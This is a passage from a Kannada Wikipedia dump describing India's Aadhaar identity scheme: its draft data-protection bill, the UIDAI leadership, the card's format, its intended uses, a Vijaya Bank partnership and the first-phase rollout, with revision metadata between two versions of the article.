ದುರುಪಯೋಗ, ಸಾರ್ವಜನಿಕರ ವೈಯಕ್ತಿಕ ವಿವರಗಳನ್ನು ಬಹಿರಂಗ ಪಡಿಸದೇ ಇರುವ ಸಲುವಾಗಿ ಮಸೂದೆ ಮಾಹಿತಿ ಭದ್ರತೆ ಮತ್ತು ರಹಸ್ಯವನ್ನು ಕಾಯ್ದುಕೊಳ್ಳಲಾಗುವುದು * ಭಾರತೀಯ ವಿಶಿಷ್ಟ ಗುರುತಿನ ಸಂಖ್ಯೆ ಪ್ರಾಧಿಕಾರ (ಯುಐಡಿಎಐ) ನೀಡುವ ವಿಶಿಷ್ಟ ಗುರುತಿನ ಸಂಖ್ಯೆಯನ್ನು ದುರುಪಯೋಗ ಮಾಡಿಕೊಳ್ಳುವವರ ವಿರುದ್ಧ ಕಠಿಣ ಕ್ರಮಕ್ಕೆ ಒಳಪಡಿಸಲು ಸಿದ್ಧತೆ ನಡೆಸಿದೆ. ದುರುಪಯೋಗ ಸಾಬೀತಾದರೆ ಒಂದು ಕೋಟಿ ರೂಪಾಯಿ ವರೆಗೆ ದಂಡ ವಿಧಿಸಲು ಅವಕಾಶ ಇದೆ. ಎಂದು ಪ್ರಾಧಿಕಾರದ ಹಿರಿಯ ಅಧಿಕಾರಿಯೊಬ್ಬರು ತಿಳಿಸಿದರು. * ವಿಶಿಷ್ಟ ಗುರುತಿನ ಸಂಖ್ಯೆಯ ದುರುಪಯೋಗ, ಸಾರ್ವಜನಿಕರ ವೈಯಕ್ತಿಕ ವಿವರಗಳನ್ನು ಬಹಿರಂಗ ಪಡಿಸದೇ ಇರುವ ಸಲುವಾಗಿ ಮಸೂದೆ ಮಾಹಿತಿ ಭದ್ರತೆ ಮತ್ತು ರಹಸ್ಯವನ್ನು ಕಾಯ್ದುಕೊಳ್ಳಲಾಗುವುದು * ಪ್ರಾಧಿಕಾರದಲ್ಲಿದ್ದುಕೊಂಡು ಅಲ್ಲಿರುವ ಮಾಹಿತಿಯನ್ನು ಬಹಿರಂಗಗೊಳಿಸಿದರೆ, ವೈಯಕ್ತಿಕ ವಿವರಗಳನ್ನು ಬಹಿರಂಗ ಪಡಿಸಿದರೆ, ಅಕ್ರಮವಾಗಿ ಕಾರ್ಯ ನಿರ್ವಸಿದರೆ ಅಂತಹ ಅಪರಾಧಗಳಿಗೆ ಕಠಿಣ ಕ್ರಮ, ದಂಡ ವಿಧಿಸಲು ಉದ್ದೇಶಿತ ಕರಡು ಮಸೂದೆಯಲ್ಲಿ ಅವಕಾಶ ಇದೆ. * ಒಂದೊಮ್ಮೆ ಪ್ರಾಧಿಕಾರದ ಕೆಲಸ ವಹಿಸಿಕೊಂಡ ಕಂಪನಿಯೇ ಈ ಕೃತ್ಯ ಎಸಗಿದರೆ ಒಂದು ಲಕ್ಷದ ವರೆಗೆ ದಂಡ ವಿಧಿಸಲು ಅವಕಾಶ ಇದೆ. ಮಾಹಿತಿ ಬ್ಯಾಂಕ್‌ಗೆ ಅಕ್ರಮ ಪ್ರವೇಶ ಮಾಡಲು ಯತ್ನಿಸಿದರೆ ಅಂತಹವರಿಗೆ ಮೂರು ವರ್ಷದ ವರೆಗೆ ಜೈಲು ಶಿಕ್ಷೆ ಅಥವಾ ಒಂದು ಕೋಟಿ ರೂಪಾಯಿವರೆಗೆ ದಂಡ ವಿಧಿಸಲು ಅವಕಾಶ ಇದೆ. * ಆದರೆ ನಿಗದಿತ ನ್ಯಾಯಾಲಯಗಳು ಇಂತಹ ಮಾಹಿತಿ ಕೇಳಿದರೆ ಅದನ್ನು ನೀಡಬಹುದಾಗಿದೆ. ರಾಷ್ಟ್ರದ ಹಿತದೃಷ್ಟಿಯಿಂದ ಮಾತ್ರ ವೈಯಕ್ತಿಕ ವಿಷಯಗಳ ಮಾಹಿತಿಯನ್ನು ನೀಡಲಾಗುವುದು. ಅದೂ ಸಂಬಂಧಿಸಿದ ಇಲಾಖೆಯ ಸಚಿವಾಲಯದಿಂದ ಅನುಮತಿ ಪಡೆದರೆ ಮಾತ್ರವೇ ಮಾಹಿತಿ ನೀಡಲಾಗುವುದು. * ಕರಡು ಮಸೂದೆ ಬಗ್ಗೆ ಸಾರ್ವಜನಿಕರಿಂದ ಬರುವ ಅಭಿಪ್ರಾಯಗಳನ್ನು ಆಧರಿಸಿ ಸಂಸತ್‌ನ ಮುಂಗಾರು ಅಧಿವೇಶನದಲ್ಲಿ ಮಂಡಿಸಲಾಗುವುದು ಎಂದೂ ಅಧಿಕಾರಿಗಳು ತಿಳಿಸಿದ್ದಾರೆ.ವಿಶಿಷ್ಟ ಗುರುತಿನ ಸಂಖ್ಯೆಯನ್ನು ಮೊದಲಿಗೆ ೨೦೧೦ ರ ಆಗಸ್ಟ್ ಮತ್ತು ೨೦೧೧ ರ ಫೆಬ್ರುವರಿ ನಡುವೆ ಸಾರ್ವಜನಿಕರಿಗೆ ನೀಡಲಾಗುವುದು. ಮುಂದಿನ ನಾಲ್ಕು ವರ್ಷಗಳಲ್ಲಿ ಆರು ಕೋಟಿ ಜನರಿಗೆ ಈ ಸಂಖ್ಯೆಯನ್ನು ನೀಡುವ ಉದ್ದೇಶ ಪ್ರಾಧಿಕಾರಕ್ಕೆ ಇದೆ. == ಇವನ್ನೂ ಗಮನಿಸಿ == * ರಾಷ್ಟ್ರೀಯ ಗುರುತಿನ ಸಂಖ್ಯೆ * ಸಾಮಾಜಿಕ ಭದ್ರತೆ ಸಂಖ್ಯೆ * ಬಹು-ಉದ್ದೇಶದ ರಾಷ್ಟ್ರೀಯ ಗುರುತಿನ ಕಾರ್ಡ್ * ಭಾರತದ ವಿಶಿಷ್ಟ ಗುರುತಿನ ಪ್ರಾಧಿಕಾರ ==ವಿಶೇಷ ಮಾಹಿತಿ== *[https://www.prajavani.net/stories/national/india-on-the-way-towards-police-state-712960.html ಪೊಲೀಸ್‌ ರಾಜ್ಯದತ್ತ ಭಾರತದ ನಡೆ: 'ಆಧಾರ್'ನಿಂದ ಜನರ ಸ್ವಾತಂತ್ರ್ಯ ಮೊಟಕು;ಕುಮಾರ ಸಂಭವ ಶ್ರೀವಾಸ್ತವ Updated: 18 ಮಾರ್ಚ್ 2020,] == ಬಾಹ್ಯ ಕೊಂಡಿಗಳು == * http://uidai.gov.in/ * [http://uidnumber.org UIDಯನ್ನು ಪ್ರವರ್ತಿಸುವುದಕ್ಕೆ ಸಂಬಂಧಿಸಿದಂತೆ UIDnumber.org] * [http://news.bbc.co.uk/2/hi/south_asia/8119070.stm ಇಂಡಿಯಾ ಟು ಲಾಂಚ್‌ 'ID ಕಾರ್ಡ್‌' ಸ್ಕೀಮ್‌] * [http://in.news.yahoo.com/48/20090626/804/tnl-govt-downloads-infosys-nilekani-he-s.html ಗೌರ್ನ್‌ಮೆಂಟ್‌ ಡೌನ್‌ಲೋಡ್ಸ್‌ ಇನ್ಫೋಸಿಸ್‌ ನಿಲೇಕಣಿ, ಹೀ ಸೇಸ್‌ ಫಸ್ಟ್‌ ಯುನಿಕ್‌ ID ಕಾರ್ಡ್‌ ವಿತಿನ್‌ 2 ಇಯರ್ಸ್‌] * [http://www.business-standard.com/india/news/what-nilekani-will-logto-inid-project/362160/ ವಾಟ್‌ ನಿಲೇಕಣಿ ವಿಲ್‌ ಲಾಗ್‌ ಆನ್‌ ಟು ಇನ್‌ ದಿ ID ಪ್ರಾಜೆಕ್ಟ್‌] * [http://prsindia.org/index.php?name=Sections&amp;action=bill_details&amp;id=6&amp;bill_id=1196&amp;category=46&amp;parent_category=1 ಕರಡು UIDAI ಮಸೂದೆ] * [http://www.uins.de www.uins.de] ==ಉಲ್ಲೇಖಗಳು== {{Reflist}} [[ವರ್ಗ:ಭಾರತ ಸರ್ಕಾರ]] 97p2i19hycfpa7pvwyj5f35usmatbjn 1116515 1116512 2022-08-23T15:46:51Z ChiK 40016 wikitext text/x-wiki {{Infobox project | logo = [[File:Aadhaar Logo.svg|250px]] | image = | caption = "ನನ್ನ ಆಧಾರ್, ನನ್ನ ಗುರುತು"<ref name=AboutUIDAI/> | launched = {{Start date and age|df=yes|2009|01|28}}<ref name=AboutUIDAI/> | country = [[India]] | budget = {{INRConvert|11366|c}} (up to the month of August 2019)<ref name="UIDAIFinance">{{cite web|url=https://uidai.gov.in/about-uidai/about-uidai/financials.html|title=UIDAI Finance and Budge Section|website=UIDAI|access-date=29 May 2018}}</ref> | key_people = *[[Nandan Nilekani]], Co-founder of [[Infosys]], first Chairman, UIDAI *[[J. Satyanarayana]], [[Indian Administrative Service|IAS]], Chairman, UIDAI *Saurabh Garg, [[Indian Administrative Service|IAS]], CEO, UIDAI | ministry = [[Ministry of Electronics and Information Technology]], [[India]] | website = {{URL|https://uidai.gov.in}} | current_status = {{increase}} 1.31 billion holders as of October 2021<ref name="Dashboard">{{cite web|title=Aadhaar Dashboard|url=https://uidai.gov.in/aadhaar_dashboard/index.php|publisher=UIDAI|access-date=7 September 2021}}</ref> }} '''ಆಧಾರ್''' ಎಂಬುದು ೧೨ ಅಂಕೆಯ ವಿಶಿಷ್ಟ ಗುರುತಿನ ಸಂಖ್ಯೆಯಾಗಿದ್ದು [[ಭಾರತ ಸರ್ಕಾರ]]ದ ವತಿಯಿಂದ ಇತ್ತೀಚೆಗಷ್ಟೇ ಅಂತಿಮಗೊಳಿಸಲ್ಪಟ್ಟ ಒಂದು ಉಪಕ್ರಮವಾಗಿದ್ದು, [[ಭಾರತ]]ದ ಎಲ್ಲಾ ವಯಸ್ಕ ನಾಗರಿಕರು ಮತ್ತು ನಿವಾಸಿಗಳಿಗೆ ಸಂಬಂಧಿಸಿದಂತಿರುವ ಒಂದು ಕೇಂದ್ರೀಕೃತ ಗುರುತಿಸುವಿಕೆಯ ವ್ಯವಸ್ಥೆಯನ್ನು ಸೃಷ್ಟಿಸುವ ಮತ್ತು ನಿರ್ವಹಿಸುವ ಉದ್ದೇಶ ಇದರ ಹಿಂದಿದೆ; ಇದನ್ನು ಒಂದು ವೈವಿಧ್ಯಮಯವಾದ ಗುರುತಿಸುವಿಕೆಯ ಉದ್ದೇಶಗಳಿಗಾಗಿ ಬಳಸಿಕೊಳ್ಳಬಹುದಾಗಿದೆ. [[ಇನ್ಫೋಸಿಸ್|ಇನ್ಫೋಸಿಸ್‌‌]]ನ ಹಿಂದಿನ ಸಹ-ಸಭಾಪತಿಯಾದ ನಂದನ್ ನಿಲೇಕಣಿಯವರನ್ನು ಭಾರತದ ವಿಶಿಷ್ಟ ಗುರುತಿಸುವಿಕೆಯ ಪ್ರಾಧಿಕಾರದ (ಯುನಿಕ್‌ ಐಡೆಂಟಿಫಿಕೇಶನ್‌ ಅಥಾರಿಟಿ ಆಫ್‌ ಇಂಡಿಯಾ) ಮುಖ್ಯಸ್ಥರನ್ನಾಗಿ ನೇಮಿಸಲಾಗಿದ್ದು, ಅವರು ಓರ್ವ ಮಂತ್ರಿಯ ದರ್ಜೆಯನ್ನು ಹೊಂದಲಿದ್ದಾರೆ.<ref name="deccanherald.com">10.2</ref> ಇನ್ಫೋಸಿಸ್‌ ಟೆಕ್ನಾಲಜೀಸ್‌ನ ನಿರ್ದೇಶಕ ಮಂಡಳಿಯಿಂದ ಕೆಳಗಿಳಿಯಲು ಅವರು ನಿರ್ಧರಿಸಿದ್ದಾರೆ.<ref name="business-standard.com">[http://www.business-standard.com/india/news/what-nilekani-will-logto-inid-project/362160/ ]</ref> ಈ ಪ್ರಾಧಿಕಾರವನ್ನು ಯೋಜನಾ ಆಯೋಗದ ಆಶ್ರಯ ಅಡಿಯಲ್ಲಿನ ಒಂದು ಸೇರಿಸಿದ ಕಚೇರಿಯನ್ನಾಗಿ ಘೋಷಿಸಲಾಗಿದೆ. ಹಿಂದಿ ಭಾಷೆಯಲ್ಲಿ ಬೆಂಬಲ ಎಂಬ ಅರ್ಥವನ್ನು ನೀಡುವ ಮತ್ತು 'ಆಧಾರ್‌' ಎಂಬುದಾಗಿ ಕರೆಯಲ್ಪಟ್ಟಿರುವ ಯೋಜನೆಗೆ ಸಂಬಂಧಿಸಿದಂತೆ ಒಂದು ಹೊಸ ಹೆಸರು ಮತ್ತು ಲಾಂಛನವನ್ನು ಅವರು ಪ್ರಕಟಿಸಿದ್ದಾರೆ. ಭಾರತೀಯ ವಿಶಿಷ್ಟವಾದ ಗುರುತಿನ ಪ್ರಾಧಿಕಾರ ಅಥವಾ UIDAI, ಭಾರತೀಯ ನಿವಾಸಿಗಳಿಗೆಲ್ಲಾ ೧೨ ಅಂಕಗಳ ಸಂಖ್ಯೆಯುಳ್ಳ 'ಗುರುತಿನ-ಪತ್ರ' ನೀಡುವ ಮಹದಾಂಕ್ಷೆಯ ಯೋಜನೆ ’ಆಧಾರ್, ಏಪ್ರಿಲ್ ೨೬, ೨೦೧೦ ರಂದು, ಪುನರ್ನಿರ್ಮಾಣವಾಗಿದೆ. ಯೋಜನೆಯ ಅನುಷ್ಠಾನಕ್ಕೆ ಅನುಕೂಲವಾಗುವಂತೆ ೨೦೧೧ ನೇ ಇಸವಿಯ ಜನಗಣತಿಯ ವೇಳೆಯಲ್ಲಿ 'ಪ್ರತಿಯೊಬ್ಬ ಭಾರತೀಯನ ಎಲ್ಲಾ ಹತ್ತು ಬೆರಳುಗಳ ಬೆರಳಚ್ಚುಗಳನ್ನು ಪಡೆಯಲಾಗುತ್ತದೆ', ಹಾಗೂ 'ಕಣ್ಣಿನ ಸ್ಕ್ಯಾನಿಂಗ್' ಮಾಡಲಾಗುತ್ತದೆ. 'ಪ್ರತಿಯೊಬ್ಬರನ್ನೂ ಹದಿನಾರು ಅಂಕೆಗಳ ಒಂದು ಸಂಖ್ಯೆ ಮೂಲಕ ಗುರುತಿಸಲಾಗುವಂತೆ ವ್ಯವಸ್ಥೆ ಮಾಡಲಾಗಿದೆ'. ಮುಂದಿನ ನಾಲ್ಕೈದು ವರ್ಷಗಳಲ್ಲಿ ಕನಿಷ್ಟಪಕ್ಷ ಭಾರತದ ೬೦ ಕೋಟಿ ಜನತೆ, ಮೇಲೆತಿಳಿಸಿರುವ ವಿಶಿಷ್ಟ ಗುರುತಿನ ಸಂಖ್ಯೆಯನ್ನು ಧಾಖಲಿಸಿರುವ ಗುರುತು ಚೀಟಿಯನ್ನು ಪಡೆಯಲಿದ್ದಾರೆ. ಎಲ್ಲಾ ಪ್ರಮುಖ ದಾಖಲಾತಿಗಳಲ್ಲೂ ಅದು ಮುಖ್ಯಸ್ಥಾನ ಪಡೆದುಕೊಳ್ಳಲಿದೆ. [[File:Aadhaar Seva Kendra, Bhopal.jpg|thumb|350px|]] == ಸ್ವರೂಪ == ಭಾರತದ ಒಂದು ಶತಕೋಟಿಗೂ ಮಿಕ್ಕಿದ ನಾಗರಿಕರ ಹಾಗೂ ಭವಿಷ್ಯದಲ್ಲಿ ಜನನವಾಗಲಿರುವ ಮಕ್ಕಳ ಗಣನೆಯನ್ನು ಸರಿಹೊಂದಿಸುವ ದೃಷ್ಟಿಯಿಂದ, ಸದರಿ ID ವ್ಯವಸ್ಥೆಯು ಒಂದು ಬೃಹತ್‌‌ ಅಕ್ಷರಸಂಖ್ಯಾಯುಕ್ತ ಸರಣಿಯಾಗಿ ಮಾರ್ಪಡುವ ಸಾಧ್ಯತೆಯಿದೆ. 16 ಕೆಬಿ ಅಥವಾ 64 ಕೆಬಿ ಸಾಮರ್ಥ್ಯದ ಒಂದು ಸಂಗ್ರಹಣಾ ಬಿಲ್ಲೆಯನ್ನು ಈ ಕಾರ್ಡಿನಲ್ಲಿ ಅಳವಡಿಸುವ ಸಾಧ್ಯತೆಯಿದೆ.ಒಂದು ಛಾಯಾಚಿತ್ರ ಮತ್ತು ಜೀವಸಂಖ್ಯಾಶಾಸ್ತ್ರದ ದತ್ತಾಂಶವನ್ನು ಸೇರ್ಪಡೆ ಮಾಡುವ ಪ್ರಕ್ರಿಯೆಯನ್ನು ಹಂತಹಂತವಾಗಿ ಯೋಜಿಸಲಾಗುವುದು.<ref>[http://www.igovernment.in/site/Unique-ID-for-all-Indian-citizens-soon/ ]</ref> == ಉದ್ದೇಶ ಮತ್ತು ಬಳಕೆ == ಭಾರತೀಯ ನಾಗರಿಕರನ್ನು ಗುರುತಿಸುವುದಕ್ಕಾಗಿ ಸದರಿ IDಯನ್ನು ಮೂಲಭೂತವಾಗಿ ಸಿದ್ಧಗೊಳಿಸಲಾಗುತ್ತಿದ್ದು, ಇದರಿಂದ ಅಕ್ರಮ ವಲಸೆಗಾರರು ಮತ್ತು ಭಯೋತ್ಪಾದಕರನ್ನು ಗುರುತಿಸಲು ಸಾಧ್ಯವಾಗುತ್ತದೆಯಾದ್ದರಿಂದ ದೇಶಕ್ಕೆ ಹಾಗೂ ಭಾರತೀಯ ನಾಗರಿಕರಿಗೆ ಉತ್ತಮ ಭದ್ರತೆಯನ್ನು ಒದಗಿಸಲು ಸಾಧ್ಯವಾಗುತ್ತದೆ. ಆದಾಗ್ಯೂ, ಭಾರತೀಯ ನಾಗರಿಕರಿಗೆ ಗುರುತಿನ ಪ್ರತಿಷ್ಠಾಪನೆಯ ಸುಗಮತೆಯನ್ನು ಒದಗಿಸುವಲ್ಲಿನ ಅದರ ಸಾಮರ್ಥ್ಯದಲ್ಲಿ ಈ IDಯ ನಿಜವಾದ ಶಕ್ತಿಯು ಅಡಗಿದೆ; ವೈವಿಧ್ಯಮಯವಾದ ಸರ್ಕಾರಿ ಮತ್ತು ಖಾಸಗಿ-ವಲಯ ಸೇವೆಗಳಿಗೆ ಭಾರತೀಯ ನಾಗರಿಕರು ಸಂಪರ್ಕ ಹೊಂದಲು ಇದು ಅವಕಾಶ ಕಲ್ಪಿಸುತ್ತದೆ. ಹೊಸ ID ವ್ಯವಸ್ಥೆಯಿಂದ ನಾಗರಿಕರಿಗೆ ದೊರಕುವ ಸಂಭವನೀಯ ಪ್ರಯೋಜನಗಳಲ್ಲಿ ಈ ಕೆಳಗಿನವು ಸೇರಿವೆ: 1) ಅರ್ಹತೆ ಹೊಂದಿರುವ ಜನರು ಆಹಾರ, ಶಕ್ತಿ, ಶಿಕ್ಷಣ, ಇತ್ಯಾದಿ ಸವಲತ್ತುಗಳನ್ನು ಸ್ವೀಕರಿಸುವಂತಾಗಲು ಈ ವಲಯಗಳ ಮೇಲೆ ನೀಡುವ ಅನುದಾನಗಳು. 2) ಬ್ಯಾಂಕ್‌ ಖಾತೆಗಳ ತೆರೆಯುವಿಕೆ 3) ಹೊಸ ದೂರವಾಣಿ, ಮೊಬೈಲ್‌ ಅಥವಾ ಅಂತರ್ಜಾಲ ಸಂಪರ್ಕಗಳನ್ನು ಪಡೆಯುವಿಕೆ, 4) ಹೊಸ ದೀಪ ಅಥವಾ ಅನಿಲ ಸಂಪರ್ಕಗಳು 5) ರಹದಾರಿಯೊಂದನ್ನು (ಪಾಸ್‌ಪೋರ್ಟ್‌) ಪಡೆಯುವಿಕೆ 6) ಇದೇ ಕಾರ್ಡು ಒಂದು ಚಾಲನಾ ಪರವಾನಗಿಯಂತೆಯೂ ಕಾರ್ಯನಿರ್ವಹಿಸಬಹುದು ನೀವು ಮಾಡಿದ ಸಂಚಾರಿ ಉಲ್ಲಂಘನೆಯ ದಾಖಲೆಗಳನ್ನು ಶೇಖರಿಸಿಟ್ಟುಕೊಳ್ಳಬಹುದು 7) ಇದು ನಿಮ್ಮ ಮತದಾರರ ಕಾರ್ಡ್‌ ಆಗಿಯೂ ಪಾತ್ರವಹಿಸಬಹುದು 8) ಇದರಿಂದ ಕುಟುಂಬ ವಂಶಾನ್ವೇಷಣೆಯ ಜಾಡುಹಿಡಿಯಬಹುದು ವಿಶಿಷ್ಟ ಗುರುತಿನ ಸಂಖ್ಯೆಗಳ ನೀಡುವಿಕೆಗೆ ಸಂಬಂಧಿಸಿದಂತೆ ಕೇಂದ್ರಸರ್ಕಾರದ ವತಿಯಿಂದ ಸ್ಥಾಪಿಸಲ್ಪಟ್ಟಿರುವ ಭಾರತದ ವಿಶಿಷ್ಟ ಗುರುತಿನ ಪ್ರಾಧಿಕಾರದೊಂದಿಗಿನ (ಯುನಿಕ್‌ ಐಡೆಂಟಿಫಿಕೇಶನ್‌ ಅಥಾರಿಟಿ ಆಫ್‌ ಇಂಡಿಯಾ-UIDAI) ಒಂದು MoUಗೆ (ಒಡಂಬಡಿಕೆಯ ಜ್ಞಾಪಕಪತ್ರಕ್ಕೆ) ವಿಜಯಾ ಬ್ಯಾಂಕ್‌ ಸಹಿಹಾಕಿದೆ. ಒಡಂಬಡಿಕೆಯ ಜ್ಞಾಪಕ ಪತ್ರಕ್ಕೆ (MoU) ನಿನ್ನೆ ಸಹಿಹಾಕುವುದರೊಂದಿಗೆ UIDAIನ ಪ್ರಯತ್ನಗಳಲ್ಲಿ ವಿಜಯಾ ಬ್ಯಾಂಕ್‌ ಓರ್ವ ಪಾಲುದಾರ ಎನಿಸಿಕೊಂಡಿದೆ ಎಂಬುದಾಗಿ ವಿಜಯಾ ಬ್ಯಾಂಕ್‌ ಸಭಾಪತಿ ಮತ್ತು ವ್ಯವಸ್ಥಾಪಕ ನಿರ್ದೇಶಕರಾದ ಆಲ್ಬರ್ಟ್‌ ಟೌರೋ ಹೇಳಿಕೆಯೊಂದರಲ್ಲಿ ಇಂದು ತಿಳಿಸಿದರು. ಒಂದು ನೋಂದಣಿ ಸಂಸ್ಥೆಯಾಗಿ ಬ್ಯಾಂಕ್‌ UID ಯೋಜನೆಯಲ್ಲಿ ನಿವಾಸಿಗಳನ್ನು ದಾಖಲಿಸಿಕೊಳ್ಳಬಹುದಾಗಿದೆ ಮತ್ತು ಯೋಜನೆಯ ಹಲವಾರು ಹಂತಗಳ ಸಂದರ್ಭದಲ್ಲಿ ಪ್ರಾಧಿಕಾರಕ್ಕೆ ನೆರವಾಗಬಹುದಾಗಿದೆ ಎಂಬುದಾಗಿಯೂ ಈ ಸಂದರ್ಭದಲ್ಲಿ ಟೌರೋ ತಿಳಿಸಿದರು. ಗುರುತಿಸಲ್ಪಟ್ಟ ಸ್ಥಳಗಳು ಮತ್ತು ಜಿಲ್ಲೆಗಳಲ್ಲಿ UID ಯೋಜನೆಯ ಅನುಷ್ಠಾನವಾಗುವದರ ಕುರಿತು ಮೇಲ್ವಿಚಾರಣೆ ನಡೆಸಲು ಪ್ರಧಾನ ತಂಡವೊಂದನ್ನು ಬ್ಯಾಂಕ್‌ ಸ್ಥಾಪಿಸಲಿದೆ. ಇದಕ್ಕಾಗಿ ವಿಜಯಾ ಬ್ಯಾಂಕ್‌ನ ಇತರ ಘಟಕಗಳು, ಖಾತೆ ಹೊಂದಿರುವವರು, ತಂತ್ರಜ್ಞಾನ ಒದಗಿಸುವವರು, BC ಸೇವೆ ಒದಗಿಸುವವರು ಮತ್ತು ಇತರ ಸಹಯೋಗಿಗಳು ತಮ್ಮ ಸಹಕಾರ ಹಸ್ತವನ್ನು ನೀಡಲಿದ್ದಾರೆ. ಹೊಸ ಗ್ರಾಹಕರಿಗೆ ಸಂಬಂಧಿಸಿದಂತಿರುವ UID ದಾಖಲಾತಿಯೊಂದಿಗೆ ತನ್ನ ಹಣಕಾಸಿನ ಒಳಗೂಡಿಸುವಿಕೆ ಯೋಜನೆಯನ್ನು ಅಚ್ಚುಕಟ್ಟಾಗಿ ಜೋಡಿಸಲು ವಿಜಯಾ ಬ್ಯಾಂಕ್‌ ಯೋಜಿಸಿದೆ. ತನ್ನ ಚಾಲ್ತಿಯಲ್ಲಿರುವ ಗ್ರಾಹಕರಿಗೆ ಸಂಬಂಧಿಸಿದಂತಿರುವ ಆಧಾರ್‌ ಸಂಖ್ಯೆಗಳ ನೀಡಿಕೆಯನ್ನೂ ಸಹ ಇದು ಸರಾಗಗೊಳಿಸಲಿದ್ದು, ಕಿರು ATMಗಳಂಥ ಹಲವಾರು ವಿತರಣಾ ವಾಹಿನಿಗಳೆಲ್ಲೆಡೆ 'ಆಧಾರ್‌' ಆಧರಿತ ಸೇವೆಗಳನ್ನು ಒದಗಿಸುವಲ್ಲಿ ಇದು ಬ್ಯಾಂಕ್‌ಗೆ ನೆರವಾಗಲಿದೆ. ವಿಶಿಷ್ಟ ಗುರುತಿನ ಸಂಖ್ಯೆಗಳ ನೀಡುವಿಕೆಗೆ ಸಂಬಂಧಿಸಿದಂತೆ ಕೇಂದ್ರಸರ್ಕಾರದ ವತಿಯಿಂದ ಸ್ಥಾಪಿಸಲ್ಪಟ್ಟಿರುವ ಭಾರತದ ವಿಶಿಷ್ಟ ಗುರುತಿನ ಪ್ರಾಧಿಕಾರದೊಂದಿಗಿನ (ಯುನಿಕ್‌ ಐಡೆಂಟಿಫಿಕೇಶನ್‌ ಅಥಾರಿಟಿ ಆಫ್‌ ಇಂಡಿಯಾ-UIDAI) ಒಂದು MoUಗೆ (ಒಡಂಬಡಿಕೆಯ ಜ್ಞಾಪಕಪತ್ರಕ್ಕೆ) ವಿಜಯಾ ಬ್ಯಾಂಕ್‌ ಸಹಿಹಾಕಿದೆ. ಒಡಂಬಡಿಕೆಯ ಜ್ಞಾಪಕ ಪತ್ರಕ್ಕೆ (MoU) ನಿನ್ನೆ ಸಹಿಹಾಕುವುದರೊಂದಿಗೆ UIDAIನ ಪ್ರಯತ್ನಗಳಲ್ಲಿ ವಿಜಯಾ ಬ್ಯಾಂಕ್‌ ಓರ್ವ ಪಾಲುದಾರ ಎನಿಸಿಕೊಂಡಿದೆ ಎಂಬುದಾಗಿ ವಿಜಯಾ ಬ್ಯಾಂಕ್‌ ಸಭಾಪತಿ ಮತ್ತು ವ್ಯವಸ್ಥಾಪಕ ನಿರ್ದೇಶಕರಾದ ಆಲ್ಬರ್ಟ್‌ ಟೌರೋ ಹೇಳಿಕೆಯೊಂದರಲ್ಲಿ ಇಂದು ತಿಳಿಸಿದರು. ಒಂದು ನೋಂದಣಿ ಸಂಸ್ಥೆಯಾಗಿ ಬ್ಯಾಂಕ್‌ UID ಯೋಜನೆಯಲ್ಲಿ ನಿವಾಸಿಗಳನ್ನು ದಾಖಲಿಸಿಕೊಳ್ಳಬಹುದಾಗಿದೆ ಮತ್ತು ಯೋಜನೆಯ ಹಲವಾರು ಹಂತಗಳ ಸಂದರ್ಭದಲ್ಲಿ ಪ್ರಾಧಿಕಾರಕ್ಕೆ ನೆರವಾಗಬಹುದಾಗಿದೆ ಎಂಬುದಾಗಿಯೂ ಈ ಸಂದರ್ಭದಲ್ಲಿ ಟೌರೋ ತಿಳಿಸಿದರು. ಗುರುತಿಸಲ್ಪಟ್ಟ ಸ್ಥಳಗಳು ಮತ್ತು ಜಿಲ್ಲೆಗಳಲ್ಲಿ UID ಯೋಜನೆಯ ಅನುಷ್ಠಾನವಾಗುವದರ ಕುರಿತು ಮೇಲ್ವಿಚಾರಣೆ ನಡೆಸಲು ಪ್ರಧಾನ ತಂಡವೊಂದನ್ನು ಬ್ಯಾಂಕ್‌ ಸ್ಥಾಪಿಸಲಿದೆ. ಇದಕ್ಕಾಗಿ ವಿಜಯಾ ಬ್ಯಾಂಕ್‌ನ ಇತರ ಘಟಕಗಳು, ಖಾತೆ ಹೊಂದಿರುವವರು, ತಂತ್ರಜ್ಞಾನ ಒದಗಿಸುವವರು, BC ಸೇವೆ ಒದಗಿಸುವವರು ಮತ್ತು ಇತರ ಸಹಯೋಗಿಗಳು ತಮ್ಮ ಸಹಕಾರ ಹಸ್ತವನ್ನು ನೀಡಲಿದ್ದಾರೆ. ಹೊಸ ಗ್ರಾಹಕರಿಗೆ ಸಂಬಂಧಿಸಿದಂತಿರುವ UID ದಾಖಲಾತಿಯೊಂದಿಗೆ ತನ್ನ ಹಣಕಾಸಿನ ಒಳಗೂಡಿಸುವಿಕೆ ಯೋಜನೆಯನ್ನು ಅಚ್ಚುಕಟ್ಟಾಗಿ ಜೋಡಿಸಲು ವಿಜಯಾ ಬ್ಯಾಂಕ್‌ ಯೋಜಿಸಿದೆ. ತನ್ನ ಚಾಲ್ತಿಯಲ್ಲಿರುವ ಗ್ರಾಹಕರಿಗೆ ಸಂಬಂಧಿಸಿದಂತಿರುವ ಆಧಾರ್‌ ಸಂಖ್ಯೆಗಳ ನೀಡಿಕೆಯನ್ನೂ ಸಹ ಇದು ಸರಾಗಗೊಳಿಸಲಿದ್ದು, ಕಿರು ATMಗಳಂಥ ಹಲವಾರು ವಿತರಣಾ ವಾಹಿನಿಗಳೆಲ್ಲೆಡೆ 'ಆಧಾರ್‌' ಆಧರಿತ ಸೇವೆಗಳನ್ನು ಒದಗಿಸುವಲ್ಲಿ ಇದು ಬ್ಯಾಂಕ್‌ಗೆ ನೆರವಾಗಲಿದೆ. == ಅನುಷ್ಠಾನ == ಮೊದಲ ಹಂತದಲ್ಲಿ, ಆಂಧ್ರಪ್ರದೇಶ, ಗುಜರಾತ್‌‌, ಪಶ್ಚಿಮ ಬಂಗಾಳ, ಕೇರಳ, ಗೋವಾ, ಕರ್ನಾಟಕ, ತಮಿಳುನಾಡು, ಮಹಾರಾಷ್ಟ್ರ ಮತ್ತು ಒಡಿಶಾ ರಾಜ್ಯಗಳ ತೀರಪ್ರದೇಶದ ಹಳ್ಳಿಗಳಲ್ಲಿ ವಾಸಿಸುತ್ತಿರುವ ಜನರಿಗೆ UIDಯನ್ನು ನೀಡಲಾಗುತ್ತದೆ. ಕೇಂದ್ರಾಡಳಿತ ಪ್ರದೇಶಗಳಾದ ಪುದುಚೇರಿ, ಅಂಡಮಾನ್‌ & ನಿಕೋಬಾರ್‌ ದ್ವೀಪಗಳು, ದಾದರ್‌ ಮತ್ತು ನಗರ್‌ ಹವೇಲಿ ಮಾತ್ರವೇ ಅಲ್ಲದೇ ಲಕ್ಷದ್ವೀಪವನ್ನೂ ಸಹ ಮೊದಲ 